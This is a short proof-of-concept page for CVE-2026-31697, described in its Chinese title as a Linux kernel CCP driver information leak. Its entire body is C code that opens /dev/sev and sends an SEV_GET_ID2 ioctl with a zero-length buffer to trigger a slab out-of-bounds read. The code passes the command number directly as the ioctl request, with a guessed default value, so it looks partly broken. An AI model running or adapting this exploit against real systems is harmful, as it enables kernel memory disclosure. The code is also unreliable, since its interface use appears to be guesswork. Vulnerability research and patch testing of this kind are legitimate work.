CVE-2026-31697 Linux内核CCP驱动信息泄露漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/sev.h> // This PoC attempts to trigger the slab-out-of-bounds in sev_ioctl_do_get_id2 // by providing a buffer that is likely too small for the firmware response. #define SEV_DEVICE "/dev/sev" // SEV_GET_ID2 command number (typically 2 or defined in kernel headers) #ifndef SEV_GET_ID2 #define SEV_GET_ID2 2 #endif int main() { int fd = open(SEV_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open " SEV_DEVICE); return 1; } printf("[+] Opened %s\n", SEV_DEVICE); // Prepare the data structure for the ioctl struct sev_user_data_get_id2 data = {0}; // Allocate a small buffer to trigger the 'invalid length' error path in firmware // The firmware might require 64 bytes, but we allocate less or set length to 0 unsigned long buf_size = 0; data.address = (unsigned long)malloc(buf_size); data.length = buf_size; printf("[*] Sending SEV_GET_ID2 ioctl with small buffer...\n"); // Trigger the vulnerability int ret = ioctl(fd, SEV_GET_ID2, &data); if (ret < 0) { perror("[-] Ioctl failed (expected), but kernel memory might have been leaked"); } else { printf("[+] Ioctl succeeded\n"); } if (data.address) { free((void *)data.address); } close(fd); return 0; }